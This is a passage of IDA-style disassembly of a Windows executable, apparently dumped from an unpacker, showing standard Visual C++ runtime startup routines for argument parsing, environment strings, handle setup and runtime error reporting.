loc_4234E1: ; CODE XREF: sub_4233B9+11Ej
mov eax, [ebp+arg_0]
mov dword_4DE6A0, eax
loc_4234E9: ; CODE XREF: sub_4233B9+34j
or eax, 0FFFFFFFFh
jmp short loc_4234F7
; ---------------------------------------------------------------------------
loc_4234EE: ; CODE XREF: sub_4233B9+Fj
; sub_4233B9+1Aj
push [ebp+arg_4]
call dword_42804C ; UnhandledExceptionFilter
loc_4234F7: ; CODE XREF: sub_4233B9+2Cj
; sub_4233B9+133j
pop ebx
pop ebp
retn
sub_4233B9 endp
; =============== S U B R O U T I N E =======================================
sub_4234FA proc near ; CODE XREF: sub_4233B9+7p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43FC68
cmp dword_43FBE8, edx
push esi
mov eax, offset dword_43FBE8
jz short loc_423527
lea esi, [ecx+ecx*2]
lea esi, ds:43FBE8h[esi*4]
loc_42351C: ; CODE XREF: sub_4234FA+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_423527
cmp [eax], edx
jnz short loc_42351C
loc_423527: ; CODE XREF: sub_4234FA+16j
; sub_4234FA+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43FBE8h[ecx*4]
cmp eax, ecx
jnb short loc_42353A
cmp [eax], edx
jz short locret_42353C
loc_42353A: ; CODE XREF: sub_4234FA+3Aj
xor eax, eax
locret_42353C: ; CODE XREF: sub_4234FA+3Ej
retn
sub_4234FA endp
; =============== S U B R O U T I N E =======================================
sub_42353D proc near ; CODE XREF: sub_41DFD3+A5p
cmp dword_4DFC74, 0
jnz short loc_42354B
call sub_42090D
loc_42354B: ; CODE XREF: sub_42353D+7j
push esi
mov esi, dword_4DFC6C
mov al, [esi]
cmp al, 22h
jnz short loc_42357D
loc_423558: ; CODE XREF: sub_42353D+33j
; sub_42353D+36j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_423575
test al, al
jz short loc_423575
movzx eax, al
push eax
call sub_425406
test eax, eax
pop ecx
jz short loc_423558
inc esi
jmp short loc_423558
; ---------------------------------------------------------------------------
loc_423575: ; CODE XREF: sub_42353D+21j
; sub_42353D+25j
cmp byte ptr [esi], 22h
jnz short loc_423587
loc_42357A: ; CODE XREF: sub_42353D+52j
inc esi
jmp short loc_423587
; ---------------------------------------------------------------------------
loc_42357D: ; CODE XREF: sub_42353D+19j
cmp al, 20h
jbe short loc_423587
loc_423581: ; CODE XREF: sub_42353D+48j
inc esi
cmp byte ptr [esi], 20h
ja short loc_423581
loc_423587: ; CODE XREF: sub_42353D+3Bj
; sub_42353D+3Ej ...
mov al, [esi]
test al, al
jz short loc_423591
cmp al, 20h
jbe short loc_42357A
loc_423591: ; CODE XREF: sub_42353D+4Ej
mov eax, esi
pop esi
retn
sub_42353D endp
; =============== S U B R O U T I N E =======================================
sub_423595 proc near ; CODE XREF: sub_41DFD3+8Ep
push ebx
xor ebx, ebx
cmp dword_4DFC74, ebx
push esi
push edi
jnz short loc_4235A7
call sub_42090D
loc_4235A7: ; CODE XREF: sub_423595+Bj
mov esi, dword_4DE638
xor edi, edi
loc_4235AF: ; CODE XREF: sub_423595+30j
mov al, [esi]
cmp al, bl
jz short loc_4235C7
cmp al, 3Dh
jz short loc_4235BA
inc edi
loc_4235BA: ; CODE XREF: sub_423595+22j
push esi
call sub_41B650
pop ecx
lea esi, [esi+eax+1]
jmp short loc_4235AF
; ---------------------------------------------------------------------------
loc_4235C7: ; CODE XREF: sub_423595+1Ej
lea eax, ds:4[edi*4]
push eax
call sub_41BB45
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_4DE5EC, esi
jnz short loc_4235E9
push 9
call sub_41E0C9
pop ecx
loc_4235E9: ; CODE XREF: sub_423595+4Aj
mov edi, dword_4DE638
cmp [edi], bl
jz short loc_42362C
push ebp
loc_4235F4: ; CODE XREF: sub_423595+94j
push edi
call sub_41B650
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_423625
push ebp
call sub_41BB45
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_423618
push 9
call sub_41E0C9
pop ecx
loc_423618: ; CODE XREF: sub_423595+79j
push edi
push dword ptr [esi]
call sub_41C520
pop ecx
add esi, 4
pop ecx
loc_423625: ; CODE XREF: sub_423595+6Cj
add edi, ebp
cmp [edi], bl
jnz short loc_4235F4
pop ebp
loc_42362C: ; CODE XREF: sub_423595+5Cj
push dword_4DE638
call sub_41B721
pop ecx
mov dword_4DE638, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_4DFC70, 1
pop ebx
retn
sub_423595 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42364E proc near ; CODE XREF: sub_41DFD3+89p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_4DFC74, ebx
push esi
push edi
jnz short loc_423665
call sub_42090D
loc_423665: ; CODE XREF: sub_42364E+10j
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
call dword_428078 ; GetModuleFileNameA
mov eax, dword_4DFC6C
mov off_4DE5FC, esi
mov edi, esi
cmp [eax], bl
jz short loc_42368A
mov edi, eax
loc_42368A: ; CODE XREF: sub_42364E+38j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push ebx
push ebx
push edi
call sub_4236E7
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx*4]
push eax
call sub_41BB45
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_4236BA
push 8
call sub_41E0C9
pop ecx
loc_4236BA: ; CODE XREF: sub_42364E+62j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_4236E7
mov eax, [ebp+var_4]
add esp, 14h
dec eax
mov dword_4DE5E4, esi
pop edi
pop esi
mov dword_4DE5E0, eax
pop ebx
leave
retn
sub_42364E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4236E7 proc near ; CODE XREF: sub_42364E+47p
; sub_42364E+7Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_423711
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_423711: ; CODE XREF: sub_4236E7+20j
cmp byte ptr [eax], 22h
jnz short loc_42375A
loc_423716: ; CODE XREF: sub_4236E7+58j
; sub_4236E7+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_423748
test dl, dl
jz short loc_423748
movzx edx, dl
test byte_4DFB41[edx], 4
jz short loc_42373B
inc dword ptr [ecx]
test esi, esi
jz short loc_42373B
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_42373B: ; CODE XREF: sub_4236E7+46j
; sub_4236E7+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_423716
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_423716
; ---------------------------------------------------------------------------
loc_423748: ; CODE XREF: sub_4236E7+36j
; sub_4236E7+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_423752
and byte ptr [esi], 0
inc esi
loc_423752: ; CODE XREF: sub_4236E7+65j
cmp byte ptr [eax], 22h
jnz short loc_42379D
inc eax
jmp short loc_42379D
; ---------------------------------------------------------------------------
loc_42375A: ; CODE XREF: sub_4236E7+2Dj
; sub_4236E7+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_423765
mov dl, [eax]
mov [esi], dl
inc esi
loc_423765: ; CODE XREF: sub_4236E7+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_4DFB41[ebx], 4
jz short loc_423780
inc dword ptr [ecx]
test esi, esi
jz short loc_42377F
mov bl, [eax]
mov [esi], bl
inc esi
loc_42377F: ; CODE XREF: sub_4236E7+91j
inc eax
loc_423780: ; CODE XREF: sub_4236E7+8Bj
cmp dl, 20h
jz short loc_42378E
test dl, dl
jz short loc_423792
cmp dl, 9
jnz short loc_42375A
loc_42378E: ; CODE XREF: sub_4236E7+9Cj
test dl, dl
jnz short loc_423795
loc_423792: ; CODE XREF: sub_4236E7+A0j
dec eax
jmp short loc_42379D
; ---------------------------------------------------------------------------
loc_423795: ; CODE XREF: sub_4236E7+A9j
test esi, esi
jz short loc_42379D
and byte ptr [esi-1], 0
loc_42379D: ; CODE XREF: sub_4236E7+6Ej
; sub_4236E7+71j ...
and [ebp+arg_10], 0
loc_4237A1: ; CODE XREF: sub_4236E7+19Ej
cmp byte ptr [eax], 0
jz loc_42388A
loc_4237AA: ; CODE XREF: sub_4236E7+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_4237B6
cmp dl, 9
jnz short loc_4237B9
loc_4237B6: ; CODE XREF: sub_4236E7+C8j
inc eax
jmp short loc_4237AA
; ---------------------------------------------------------------------------
loc_4237B9: ; CODE XREF: sub_4236E7+CDj
cmp byte ptr [eax], 0
jz loc_42388A
test edi, edi
jz short loc_4237CE
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_4237CE: ; CODE XREF: sub_4236E7+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_4237D3: ; CODE XREF: sub_4236E7+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_4237DC: ; CODE XREF: sub_4236E7+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_4237E5
inc eax
inc ebx
jmp short loc_4237DC
; ---------------------------------------------------------------------------
loc_4237E5: ; CODE XREF: sub_4236E7+F8j
cmp byte ptr [eax], 22h
jnz short loc_423816
test bl, 1
jnz short loc_423814
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_423803
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_423803
mov eax, edx
jmp short loc_423806
; ---------------------------------------------------------------------------
loc_423803: ; CODE XREF: sub_4236E7+10Dj
; sub_4236E7+116j
mov [ebp+arg_0], edi
loc_423806: ; CODE XREF: sub_4236E7+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_423814: ; CODE XREF: sub_4236E7+106j
shr ebx, 1
loc_423816: ; CODE XREF: sub_4236E7+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_42382B
inc ebx
loc_42381E: ; CODE XREF: sub_4236E7+142j
test esi, esi
jz short loc_423826
mov byte ptr [esi], 5Ch
inc esi
loc_423826: ; CODE XREF: sub_4236E7+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_42381E
loc_42382B: ; CODE XREF: sub_4236E7+134j
mov dl, [eax]
test dl, dl
jz short loc_42387B
cmp [ebp+arg_10], 0
jnz short loc_423841
cmp dl, 20h
jz short loc_42387B
cmp dl, 9
jz short loc_42387B
loc_423841: ; CODE XREF: sub_4236E7+14Ej
cmp [ebp+arg_0], 0
jz short loc_423875
test esi, esi
jz short loc_423864
movzx ebx, dl
test byte_4DFB41[ebx], 4
jz short loc_42385D
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_42385D: ; CODE XREF: sub_4236E7+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_423873
; ---------------------------------------------------------------------------
loc_423864: ; CODE XREF: sub_4236E7+162j
movzx edx, dl
test byte_4DFB41[edx], 4
jz short loc_423873
inc eax
inc dword ptr [ecx]
loc_423873: ; CODE XREF: sub_4236E7+17Bj
; sub_4236E7+187j
inc dword ptr [ecx]
loc_423875: ; CODE XREF: sub_4236E7+15Ej
inc eax
jmp loc_4237D3
; ---------------------------------------------------------------------------
loc_42387B: ; CODE XREF: sub_4236E7+148j
; sub_4236E7+153j ...
test esi, esi
jz short loc_423883
and byte ptr [esi], 0
inc esi
loc_423883: ; CODE XREF: sub_4236E7+196j
inc dword ptr [ecx]
jmp loc_4237A1
; ---------------------------------------------------------------------------
loc_42388A: ; CODE XREF: sub_4236E7+BDj
; sub_4236E7+D5j
test edi, edi
jz short loc_423891
and dword ptr [edi], 0
loc_423891: ; CODE XREF: sub_4236E7+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_4236E7 endp
; =============== S U B R O U T I N E =======================================
sub_42389B proc near ; CODE XREF: sub_41DFD3+7Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
mov eax, dword_4DE7A8
push ebx
push ebp
mov ebp, dword_42803C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_4238E9
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz short loc_4238CA
mov dword_4DE7A8, 1
jmp short loc_4238F2
; ---------------------------------------------------------------------------
loc_4238CA: ; CODE XREF: sub_42389B+21j
call dword_428040 ; GetEnvironmentStringsA
mov edi, eax
cmp edi, ebx
jz loc_4239C4
mov dword_4DE7A8, 2
jmp loc_423978
; ---------------------------------------------------------------------------
loc_4238E9: ; CODE XREF: sub_42389B+19j
cmp eax, 1
jnz loc_423973
loc_4238F2: ; CODE XREF: sub_42389B+2Dj
cmp esi, ebx
jnz short loc_423902
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz loc_4239C4
loc_423902: ; CODE XREF: sub_42389B+59j
cmp [esi], bx
mov eax, esi
jz short loc_423917
loc_423909: ; CODE XREF: sub_42389B+73j
; sub_42389B+7Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_423909
inc eax
inc eax
cmp [eax], bx
jnz short loc_423909
loc_423917: ; CODE XREF: sub_42389B+6Cj
sub eax, esi
mov edi, dword_42818C
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+38h+var_4], eax
call edi ; WideCharToMultiByte
mov ebp, eax
cmp ebp, ebx
jz short loc_423968
push ebp
call sub_41BB45
cmp eax, ebx
pop ecx
mov [esp+18h+var_8], eax
jz short loc_423968
push ebx
push ebx
push ebp
push eax
push [esp+28h+var_4]
push esi
push ebx
push ebx
call edi ; WideCharToMultiByte
test eax, eax
jnz short loc_423964
push [esp+18h+var_8]
call sub_41B721
pop ecx
mov [esp+18h+var_8], ebx
loc_423964: ; CODE XREF: sub_42389B+B9j
mov ebx, [esp+18h+var_8]
loc_423968: ; CODE XREF: sub_42389B+99j
; sub_42389B+A8j
push esi
call dword_428044 ; FreeEnvironmentStringsW
mov eax, ebx
jmp short loc_4239C6
; ---------------------------------------------------------------------------
loc_423973: ; CODE XREF: sub_42389B+51j
cmp eax, 2
jnz short loc_4239C4
loc_423978: ; CODE XREF: sub_42389B+49j
cmp edi, ebx
jnz short loc_423988
call dword_428040 ; GetEnvironmentStringsA
mov edi, eax
cmp edi, ebx
jz short loc_4239C4
loc_423988: ; CODE XREF: sub_42389B+DFj
cmp [edi], bl
mov eax, edi
jz short loc_423998
loc_42398E: ; CODE XREF: sub_42389B+F6j
; sub_42389B+FBj
inc eax
cmp [eax], bl
jnz short loc_42398E
inc eax
cmp [eax], bl
jnz short loc_42398E
loc_423998: ; CODE XREF: sub_42389B+F1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_41BB45
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4239AE
xor esi, esi
jmp short loc_4239B9
; ---------------------------------------------------------------------------
loc_4239AE: ; CODE XREF: sub_42389B+10Dj
push ebp
push edi
push esi
call near ptr sub_41C9B0
add esp, 0Ch
loc_4239B9: ; CODE XREF: sub_42389B+111j
push edi
call dword_428048 ; FreeEnvironmentStringsA
mov eax, esi
jmp short loc_4239C6
; ---------------------------------------------------------------------------
loc_4239C4: ; CODE XREF: sub_42389B+39j
; sub_42389B+61j ...
xor eax, eax
loc_4239C6: ; CODE XREF: sub_42389B+D6j
; sub_42389B+127j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_42389B endp
; =============== S U B R O U T I N E =======================================
sub_4239CD proc near ; CODE XREF: sub_41DFD3+6Fp
var_44 = byte ptr -44h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_41BB45
mov esi, eax
pop ecx
test esi, esi
jnz short loc_4239ED
push 1Bh
call sub_41E0C9
pop ecx
loc_4239ED: ; CODE XREF: sub_4239CD+16j
mov dword_4DF920, esi
mov dword_4DFA20, 20h
lea eax, [esi+100h]
loc_423A03: ; CODE XREF: sub_4239CD+52j
cmp esi, eax
jnb short loc_423A21
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_4DF920
add esi, 8
add eax, 100h
jmp short loc_423A03
; ---------------------------------------------------------------------------
loc_423A21: ; CODE XREF: sub_4239CD+38j
lea eax, [esp+54h+var_44]
push eax
call dword_4281B4 ; GetStartupInfoA
cmp word ptr [esp+54h+var_14+2], 0
jz loc_423AFD
mov eax, [esp+54h+var_10]
test eax, eax
jz loc_423AFD
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_423A57
mov esi, eax
loc_423A57: ; CODE XREF: sub_4239CD+86j
cmp dword_4DFA20, esi
jge short loc_423AB1
mov edi, offset dword_4DF924
loc_423A64: ; CODE XREF: sub_4239CD+DAj
push 100h
call sub_41BB45
test eax, eax
pop ecx
jz short loc_423AAB
add dword_4DFA20, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_423A82: ; CODE XREF: sub_4239CD+CFj
cmp eax, ecx
jnb short loc_423A9E
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_423A82
; ---------------------------------------------------------------------------
loc_423A9E: ; CODE XREF: sub_4239CD+B7j
add edi, 4
cmp dword_4DFA20, esi
jl short loc_423A64
jmp short loc_423AB1
; ---------------------------------------------------------------------------
loc_423AAB: ; CODE XREF: sub_4239CD+A4j
mov esi, dword_4DFA20
loc_423AB1: ; CODE XREF: sub_4239CD+90j
; sub_4239CD+DCj
xor edi, edi
test esi, esi
jle short loc_423AFD
loc_423AB7: ; CODE XREF: sub_4239CD+12Ej
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_423AF4
mov cl, [ebp+0]
test cl, 1
jz short loc_423AF4
test cl, 8
jnz short loc_423AD6
push eax
call dword_428030 ; GetFileType
test eax, eax
jz short loc_423AF4
loc_423AD6: ; CODE XREF: sub_4239CD+FCj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DF920[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_423AF4: ; CODE XREF: sub_4239CD+EFj
; sub_4239CD+F7j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_423AB7
loc_423AFD: ; CODE XREF: sub_4239CD+65j
; sub_4239CD+71j ...
xor ebx, ebx
loc_423AFF: ; CODE XREF: sub_4239CD+195j
mov eax, dword_4DF920
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_423B5A
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_423B1A
push 0FFFFFFF6h
pop eax
jmp short loc_423B24
; ---------------------------------------------------------------------------
loc_423B1A: ; CODE XREF: sub_4239CD+146j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_423B24: ; CODE XREF: sub_4239CD+14Bj
push eax
call dword_428034 ; GetStdHandle
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_423B49
push edi
call dword_428030 ; GetFileType
test eax, eax
jz short loc_423B49
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_423B4F
loc_423B49: ; CODE XREF: sub_4239CD+163j
; sub_4239CD+16Ej
or byte ptr [esi+4], 40h
jmp short loc_423B5E
; ---------------------------------------------------------------------------
loc_423B4F: ; CODE XREF: sub_4239CD+17Aj
cmp eax, 3
jnz short loc_423B5E
or byte ptr [esi+4], 8
jmp short loc_423B5E
; ---------------------------------------------------------------------------
loc_423B5A: ; CODE XREF: sub_4239CD+13Ej
or byte ptr [esi+4], 80h
loc_423B5E: ; CODE XREF: sub_4239CD+180j
; sub_4239CD+185j ...
inc ebx
cmp ebx, 3
jl short loc_423AFF
push dword_4DFA20
call dword_428038 ; SetHandleCount
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
sub_4239CD endp
; ---------------------------------------------------------------------------
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423B80 proc near ; DATA XREF: sub_41DFD3+Ao
; sub_4226FD+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_423C20
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_423BB3: ; CODE XREF: sub_423B80+90j
cmp esi, 0FFFFFFFFh
jz short loc_423C19
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_423C07
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_423C07
js short loc_423C12
mov edi, [ebx+8]
push ebx
call sub_41D1E0
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_41D222
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_41D2B6
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_423C07: ; CODE XREF: sub_423B80+40j
; sub_423B80+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_423BB3
; ---------------------------------------------------------------------------
loc_423C12: ; CODE XREF: sub_423B80+54j
mov eax, 0
jmp short loc_423C35
; ---------------------------------------------------------------------------
loc_423C19: ; CODE XREF: sub_423B80+36j
mov eax, 1
jmp short loc_423C35
; ---------------------------------------------------------------------------
loc_423C20: ; CODE XREF: sub_423B80+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_41D222
add esp, 8
pop ebp
mov eax, 1
loc_423C35: ; CODE XREF: sub_423B80+97j
; sub_423B80+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_423B80 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_41D222
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_423C58 proc near ; CODE XREF: sub_41E0C9+9p
; sub_41E0EE+9p
mov eax, dword_4DE640
cmp eax, 1
jz short loc_423C6F
test eax, eax
jnz short locret_423C90
cmp dword_43D5E4, 1
jnz short locret_423C90
loc_423C6F: ; CODE XREF: sub_423C58+8j
push 0FCh
call sub_423C91
mov eax, dword_4DE7AC
pop ecx
test eax, eax
jz short loc_423C85
call eax
loc_423C85: ; CODE XREF: sub_423C58+29j
push 0FFh
call sub_423C91
pop ecx
locret_423C90: ; CODE XREF: sub_423C58+Cj
; sub_423C58+15j
retn
sub_423C58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423C91 proc near ; CODE XREF: sub_41E0C9+12p
; sub_41E0EE+12p ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_43FC78
loc_423CA4: ; CODE XREF: sub_423C91+20j
cmp edx, [eax]
jz short loc_423CB3
add eax, 8
inc ecx
cmp eax, offset off_43FD08
jl short loc_423CA4
loc_423CB3: ; CODE XREF: sub_423C91+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_43FC78[esi]
jnz loc_423DE1
mov eax, dword_4DE640
cmp eax, 1
jz loc_423DBB
test eax, eax
jnz short loc_423CE4
cmp dword_43D5E4, 1
jz loc_423DBB
loc_423CE4: ; CODE XREF: sub_423C91+44j
cmp edx, 0FCh
jz loc_423DE1
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call dword_428078 ; GetModuleFileNameA
test eax, eax
jnz short loc_423D1B
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_41C520
pop ecx
pop ecx
loc_423D1B: ; CODE XREF: sub_423C91+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_41B650
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_423D5E
lea eax, [ebp+var_1A4]
push eax
call sub_41B650
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_41BC60
add esp, 10h
loc_423D5E: ; CODE XREF: sub_423C91+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_41C520
lea eax, [ebp+var_A0]
push edi
push eax
call sub_41C530
lea eax, [ebp+var_A0]
push offset asc_428BF8 ; "\n\n"
push eax
call sub_41C530
push off_43FC7C[esi]
lea eax, [ebp+var_A0]
push eax
call sub_41C530
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_425448
add esp, 2Ch
pop edi
jmp short loc_423DE1
; ---------------------------------------------------------------------------
loc_423DBB: ; CODE XREF: sub_423C91+3Cj
; sub_423C91+4Dj
lea eax, [ebp+arg_0]
lea esi, off_43FC7C[esi]
push 0
push eax
push dword ptr [esi]
call sub_41B650
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call dword_428034 ; GetStdHandle
push eax
call dword_4280F0 ; WriteFile
loc_423DE1: ; CODE XREF: sub_423C91+2Ej
; sub_423C91+59j ...
pop esi
leave
retn
sub_423C91 endp
; =============== S U B R O U T I N E =======================================
sub_423DE4 proc near ; CODE XREF: sub_4240FB:loc_424273p
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_4DF920
loc_423DF3: ; CODE XREF: sub_423DE4+48j
mov eax, [ecx]
test eax, eax
jz short loc_423E30
lea edx, [eax+100h]
loc_423DFF: ; CODE XREF: sub_423DE4+28j
cmp eax, edx
jnb short loc_423E1F
test byte ptr [eax+4], 1
jz short loc_423E0E
add eax, 8
jmp short loc_423DFF
; ---------------------------------------------------------------------------
loc_423E0E: ; CODE XREF: sub_423DE4+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_423E73
loc_423E1F: ; CODE XREF: sub_423DE4+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_4DFA20
jl short loc_423DF3
jmp short loc_423E73
; ---------------------------------------------------------------------------
loc_423E30: ; CODE XREF: sub_423DE4+13j
mov esi, 100h
push esi
call sub_41BB45
test eax, eax
pop ecx
jz short loc_423E73
add dword_4DFA20, 20h
lea ecx, ds:4DF920h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_423E56: ; CODE XREF: sub_423DE4+88j
cmp eax, edx
jnb short loc_423E6E
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_423E56
; ---------------------------------------------------------------------------
loc_423E6E: ; CODE XREF: sub_423DE4+74j
shl edi, 5
mov ebx, edi
loc_423E73: ; CODE XREF: sub_423DE4+39j
; sub_423DE4+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_423DE4 endp
; =============== S U B R O U T I N E =======================================
sub_423E79 proc near ; CODE XREF: sub_4240FB+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DFA20
push edi
jnb short loc_423ED9
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DF920h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_423ED9
cmp dword_43D5E4, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_423ECF
sub eax, 0
jz short loc_423EC6
dec eax
jz short loc_423EC1
dec eax
jnz short loc_423ECF
push ebx
push 0FFFFFFF4h
jmp short loc_423EC9
; ---------------------------------------------------------------------------
loc_423EC1: ; CODE XREF: sub_423E79+3Ej
